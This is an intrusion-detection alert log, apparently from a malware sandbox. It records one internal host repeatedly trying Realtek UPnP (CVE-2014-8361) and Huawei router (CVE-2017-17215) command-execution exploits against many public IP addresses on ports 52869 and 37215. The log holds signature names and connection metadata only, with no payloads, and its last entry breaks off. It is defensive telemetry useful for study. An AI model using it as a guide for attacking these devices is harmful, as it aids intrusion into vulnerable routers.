ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.16.142.227

Timestamp:	07/20/24-23:01:47.709674
SID:	2831300
Source Port:	47420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 88.106.127.51

Timestamp:	07/20/24-23:01:31.991548
SID:	2829579
Source Port:	44750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.145.35.196

Timestamp:	07/20/24-23:01:41.397238
SID:	2027339
Source Port:	34138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.143.82.53

Timestamp:	07/20/24-23:02:09.627181
SID:	2025132
Source Port:	49196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.103.67

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.129.243.233

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	59350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.103.3.16

Timestamp:	07/20/24-23:01:42.115230
SID:	2027339
Source Port:	55048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.102.141.171

Timestamp:	07/20/24-23:01:08.667513
SID:	2027339
Source Port:	55916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.233.183.8

Timestamp:	07/20/24-23:01:57.321431
SID:	2025132
Source Port:	41312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.201.187.18

Timestamp:	07/20/24-23:01:55.666677
SID:	2027339
Source Port:	47078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.42.185.132

Timestamp:	07/20/24-23:03:46.099099
SID:	2027339
Source Port:	42158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.69.140.160

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	43088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.145.183

Timestamp:	07/20/24-23:01:00.648489
SID:	2829579
Source Port:	54854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.154.142.187

Timestamp:	07/20/24-23:01:53.234960
SID:	2025132
Source Port:	36880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.173.158.60

Timestamp:	07/20/24-23:01:46.810790
SID:	2025132
Source Port:	43706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 121.131.41.98

Timestamp:	07/20/24-23:01:53.015544
SID:	2025132
Source Port:	37228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.92.70.69

Timestamp:	07/20/24-23:01:50.176893
SID:	2025132
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.131.89.154

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	53600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.61.91.2

Timestamp:	07/20/24-23:01:42.189694
SID:	2027339
Source Port:	58170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.127.134.199

Timestamp:	07/20/24-23:02:05.590034
SID:	2025132
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.195.20.112

Timestamp:	07/20/24-23:01:46.212590
SID:	2025132
Source Port:	37236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.124.32.89

Timestamp:	07/20/24-23:01:41.604763
SID:	2027339
Source Port:	58346
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.9.128

Timestamp:	07/20/24-23:01:31.979565
SID:	2835222
Source Port:	35010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.167.196.86

Timestamp:	07/20/24-23:01:43.841155
SID:	2027339
Source Port:	49646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.161.189.113

Timestamp:	07/20/24-23:01:58.585039
SID:	2027339
Source Port:	46868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.231.118

Timestamp:	07/20/24-23:01:07.082771
SID:	2829579
Source Port:	42202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.42.93.65

Timestamp:	07/20/24-23:01:42.696197
SID:	2027339
Source Port:	44628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.74.166.37

Timestamp:	07/20/24-23:01:44.674251
SID:	2027339
Source Port:	53446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.161.99.53

Timestamp:	07/20/24-23:01:31.333070
SID:	2027339
Source Port:	37974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.136.152.193

Timestamp:	07/20/24-23:01:11.816521
SID:	2829579
Source Port:	42760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.236.15.67

Timestamp:	07/20/24-23:01:02.113054
SID:	2829579
Source Port:	42612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.200.5

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	60702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.82.68.43

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	58234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.32.91.217

Timestamp:	07/20/24-23:01:44.745095
SID:	2027339
Source Port:	49278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.193.81.146

Timestamp:	07/20/24-23:01:08.578727
SID:	2831300
Source Port:	60194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.150.189.204

Timestamp:	07/20/24-23:01:59.377547
SID:	2831300
Source Port:	49430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.105.148.229

Timestamp:	07/20/24-23:01:34.044152
SID:	2829579
Source Port:	40310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.32.136.151

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	42846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.205.44.142

Timestamp:	07/20/24-23:01:45.287821
SID:	2831300
Source Port:	59420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.76.21.211

Timestamp:	07/20/24-23:01:43.918789
SID:	2831300
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.183.176.41

Timestamp:	07/20/24-23:01:31.312411
SID:	2831300
Source Port:	43376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.144.161.152

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	41030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 134.252.78.39

Timestamp:	07/20/24-23:01:07.026812
SID:	2829579
Source Port:	48082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.75.241.221

Timestamp:	07/20/24-23:01:20.592479
SID:	2027339
Source Port:	36596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.130.44.143

Timestamp:	07/20/24-23:01:45.098864
SID:	2831300
Source Port:	51472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.211.6

Timestamp:	07/20/24-23:01:07.114267
SID:	2835222
Source Port:	38558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.169.126.92

Timestamp:	07/20/24-23:01:42.608320
SID:	2027339
Source Port:	49086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.155.108

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	38924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.203.232.104

Timestamp:	07/20/24-23:01:42.960666
SID:	2025132
Source Port:	43428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	07/20/24-23:01:01.198681
SID:	2027339
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.25.11.108

Timestamp:	07/20/24-23:01:51.405782
SID:	2027339
Source Port:	54972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.74.163.138

Timestamp:	07/20/24-23:01:56.950526
SID:	2025132
Source Port:	39512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.61.135.109

Timestamp:	07/20/24-23:01:31.328066
SID:	2831300
Source Port:	46390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.107.134

Timestamp:	07/20/24-23:00:57.220983
SID:	2829579
Source Port:	55530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.81.102.220

Timestamp:	07/20/24-23:01:43.206220
SID:	2027339
Source Port:	46404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.0.108.140

Timestamp:	07/20/24-23:01:44.052569
SID:	2027339
Source Port:	34074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.121.114.198

Timestamp:	07/20/24-23:01:52.165240
SID:	2027339
Source Port:	33120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.39.181.117

Timestamp:	07/20/24-23:01:03.159715
SID:	2025132
Source Port:	49550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.169.170.137

Timestamp:	07/20/24-23:01:45.159648
SID:	2831300
Source Port:	53638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.141.1.52

Timestamp:	07/20/24-23:01:43.993916
SID:	2025132
Source Port:	44844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.151.6.155

Timestamp:	07/20/24-23:01:44.811941
SID:	2025132
Source Port:	52716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.245.76.95

Timestamp:	07/20/24-23:01:59.092655
SID:	2027339
Source Port:	53282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.176.142.26

Timestamp:	07/20/24-23:01:03.199235
SID:	2027339
Source Port:	49528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.76.49.30

Timestamp:	07/20/24-23:01:04.430069
SID:	2025132
Source Port:	59360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.161.7.211

Timestamp:	07/20/24-23:01:44.837054
SID:	2027339
Source Port:	56282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 51.142.141.117

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	52146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.185.16.155

Timestamp:	07/20/24-23:01:48.155981
SID:	2027339
Source Port:	52440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 76.83.139.165

Timestamp:	07/20/24-23:01:31.312209
SID:	2831300
Source Port:	57414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.23.23.187

Timestamp:	07/20/24-23:01:42.233741
SID:	2027339
Source Port:	48552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.154.28.107

Timestamp:	07/20/24-23:01:42.090121
SID:	2027339
Source Port:	45414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.205.247.218

Timestamp:	07/20/24-23:01:55.741840
SID:	2025132
Source Port:	50022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.187.1.61

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	44268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.50.158.70

Timestamp:	07/20/24-23:01:42.151857
SID:	2025132
Source Port:	42232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.967403
SID:	2025132
Source Port:	46110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.28.111.138

Timestamp:	07/20/24-23:01:44.868029
SID:	2831300
Source Port:	39320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.10.103.253

Timestamp:	07/20/24-23:01:08.652877
SID:	2831300
Source Port:	49584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.132.133

Timestamp:	07/20/24-23:01:32.039718
SID:	2835222
Source Port:	33136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.184.52.222

Timestamp:	07/20/24-23:01:42.718842
SID:	2027339
Source Port:	57316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.206.146.120

Timestamp:	07/20/24-23:01:47.047497
SID:	2831300
Source Port:	32834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.48.156.196

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	35840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.31.74.199

Timestamp:	07/20/24-23:01:27.723651
SID:	2829579
Source Port:	52594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.202.203.164

Timestamp:	07/20/24-23:01:44.320661
SID:	2027339
Source Port:	53926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.183.167.212

Timestamp:	07/20/24-23:01:08.679677
SID:	2027339
Source Port:	56988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.180.13.92

Timestamp:	07/20/24-23:01:45.603921
SID:	2027339
Source Port:	42704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.44.4.130

Timestamp:	07/20/24-23:01:53.524925
SID:	2027339
Source Port:	59212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.207.228.137

Timestamp:	07/20/24-23:01:04.987638
SID:	2025132
Source Port:	44574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.208.78.115

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	55946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.13.253.64

Timestamp:	07/20/24-23:01:21.952783
SID:	2835222
Source Port:	55262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.74.79.160

Timestamp:	07/20/24-23:01:24.126316
SID:	2027339
Source Port:	38786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.147.165.127

Timestamp:	07/20/24-23:01:12.841280
SID:	2831300
Source Port:	46040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.131.76.141

Timestamp:	07/20/24-23:01:41.286262
SID:	2027339
Source Port:	34938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 184.144.178.174

Timestamp:	07/20/24-23:01:11.820149
SID:	2829579
Source Port:	60704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 36.6.60.249

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	37006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.254.2.2

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	48890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.138.89.148

Timestamp:	07/20/24-23:01:53.041672
SID:	2025132
Source Port:	41128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.151.112.79

Timestamp:	07/20/24-23:01:46.143923
SID:	2027339
Source Port:	44316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.195.20.9

Timestamp:	07/20/24-23:01:49.207937
SID:	2025132
Source Port:	38140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.44.74

Timestamp:	07/20/24-23:01:27.656128
SID:	2829579
Source Port:	41372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.72.21.57

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	40132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.135.105

